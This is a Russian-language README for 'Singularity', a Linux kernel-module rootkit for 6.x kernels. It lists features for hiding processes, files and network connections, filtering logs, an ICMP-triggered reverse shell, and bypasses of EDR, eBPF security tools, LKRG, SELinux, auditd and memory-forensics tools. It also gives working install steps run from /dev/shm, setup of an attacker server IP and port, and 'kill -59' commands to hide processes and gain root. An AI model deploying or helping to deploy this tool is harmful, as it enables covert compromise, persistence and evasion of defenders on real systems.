Singularity — скрытный руткит ядра Linux
«Не дать ли форензике немного работы?»
Singularity — это мощный руткит в виде модуля ядра Linux (LKM), разработанный для современных ядер 6.x. Он обеспечивает комплексные возможности скрытности за счёт продвинутого перехвата системных вызовов через инфраструктуру ftrace.
Полная исследовательская статья (устаревшая версия): Singularity: A Final Boss Linux Kernel Rootkit
Разбор обхода EDR: Bypassing Elastic EDR with Singularity
Видео POC: Singularity против инструментов безопасности на eBPF: Singularity vs eBPF security tools
Взлом безопасности eBPF с помощью хуков Singularity: Breaking eBPF
Руткит Singularity: обход обнаружения загрузки модуля Elastic Defend Bypassing Elastic Defend
Что такое Singularity?
Singularity — это изощрённый руткит, работающий на уровне ядра и обеспечивающий:
- Сокрытие процессов: делает любой процесс полностью невидимым для системы
- Сокрытие файлов и каталогов: скрывает файлы с помощью сопоставления по шаблонам
- Сетевая скрытность: скрывает TCP/UDP-соединения, порты и записи conntrack
- Повышение привилегий: мгновенное получение root-доступа через сигнал
- Очистка логов: фильтрация логов ядра и системных журналов в реальном времени
- Самоскрытие: удаляет себя из списков модулей и системного мониторинга
- Удалённый доступ: обратная оболочка, запускаемая по ICMP, с автоматическим скрытием
- Антидетект: обход инструментов runtime-безопасности на базе eBPF (Falco, Tracee), обход Linux Kernel Runtime Guard (LKRG) и предотвращение попыток обхода через io_uring
- Обход аудита: отбрасывание audit-сообщений для скрытых процессов на уровне netlink с отслеживанием статистики и фильтрацией inode сокетов
- Обход форензики памяти: блокировка сбора через LiME и AVML; обнуление страниц модуля и скрытых task_struct в физических дампах; фильтрация /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- Фильтрация cgroup: фильтрация скрытых PID из cgroup.procs
- Обход syslog: перехват do_syslog для фильтрации доступа к кольцевому буферу ядра через klogctl()
- Обход debugfs: фильтрация вывода таких инструментов, как debugfs, читающих сырые блочные устройства
- Фильтрация conntrack: сокрытие соединений от /proc/net/nf_conntrack и netlink-запросов SOCK_DIAG/NETFILTER
- Обход SELinux: автоматический обход режима enforcing SELinux при срабатывании по ICMP
- Обход LKRG: уклонение от механизмов обнаружения Linux Kernel Runtime Guard
- Обход безопасности eBPF: сокрытие процессов от инструментов runtime-безопасности на базе eBPF (Falco, Tracee)
Возможности
- Повышение привилегий через сигнал (kill -59)
- Полное сокрытие процессов от /proc и инструментов мониторинга
- Сокрытие файлов и каталогов в файловой системе по шаблонам
- Сокрытие сетевых соединений от netstat, ss, conntrack и анализаторов пакетов
- Продвинутая фильтрация netlink (SOCK_DIAG, сообщения NETFILTER/conntrack)
- Фильтрация логов ядра в реальном времени для dmesg, journalctl и klogctl
- Самоскрытие модуля от lsmod и /sys/module
- Автоматическая нормализация флага taint ядра
- Фильтрация данных BPF для предотвращения обнаружения на базе eBPF
- Защита io_uring от обхода через асинхронный ввод-вывод
- Маскировка логов для сообщений ядра и системных журналов
- Обход стандартных детекторов руткитов (unhide, chkrootkit, rkhunter)
- Автоматическое отслеживание и сокрытие дочерних процессов через хуки tracepoint
- Поддержка нескольких архитектур (x64 + ia32)
- Фильтрация на уровне сетевых пакетов с защитой сырых сокетов
- Защита от всех вариантов файлового ввода-вывода (read, write, splice, sendfile, tee, copy_file_range)
- Фильтрация audit-сообщений на уровне netlink с отслеживанием статистики для обхода обнаружения через auditd
- Отслеживание inode сокетов для комплексного сетевого сокрытия
- Фильтрация PID в cgroup для предотвращения обнаружения через
/sys/fs/cgroup/*/cgroup.procs
- Блокировка netlink TaskStats для предотвращения перечисления PID
- Противодействие сбору физической памяти: kprobe на
copy_mc_to_kernel перехватывает копирование страниц LiME и перенаправляет страницы модуля и диапазоны скрытых task_struct в обнулённые буферы; AVML блокируется через хук чтения /proc/kcore
- Фильтрация чтения /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- Хук do_syslog для фильтрации klogctl() и предотвращения утечек кольцевого буфера ядра
- Фильтрация вывода блочных устройств для обхода debugfs и аналогичных инструментов форензики дисков
- Фильтрация вывода journalctl -k через хук write
- Возможность обхода режима enforcing SELinux для оболочек, запускаемых по ICMP
- Обход проверок целостности LKRG для скрытых процессов
- Сокрытие событий Falco через перехват BPF ringbuffer и perf-событий
Установка
Предварительные требования
- Ядро Linux 6.x
- Заголовки ядра для вашего работающего ядра
- GCC и Make
- Доступ root
Быстрая установка
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
Вот и всё. Модуль автоматически:
- Скрывает себя от lsmod, /proc/modules, /sys/module
- Очищает флаги загрязнения ядра
- Фильтрует конфиденциальные строки из dmesg, journalctl -k, klogctl
- Начинает защищать ваши скрытые файлы и процессы
Важные замечания
Модуль автоматически скрывает себя после загрузки
Функция выгрузки отсутствует — для удаления требуется перезагрузка
Сначала протестируйте в виртуальной машине — удалить без перезапуска невозможно
Конфигурация
Укажите IP-адрес и порт вашего сервера
Отредактируйте include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Отредактируйте modules/icmp.c:
#define SRV_PORT "8081" // Change this to your desired port
Отредактируйте modules/bpf_hook.c:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Отредактируйте modules/hiding_tcp.c:
#define PORT 8081 // Must match SRV_PORT
Важно: Все определения портов должны совпадать для корректного сокрытия сети и работы обратной оболочки через ICMP.
Использование
Сокрытие процессов
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Процесс будет невидим для ps, top, htop, /proc и всех инструментов мониторинга. Все дочерние процессы автоматически отслеживаются и скрываются.
Скрытие файлов и каталогов
Файлы, соответствующие вашим настроенным шаблонам, автоматически скрываются:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
Получение прав root
Метод на основе сигналов:
kill -59 $$
id # uid=0(root)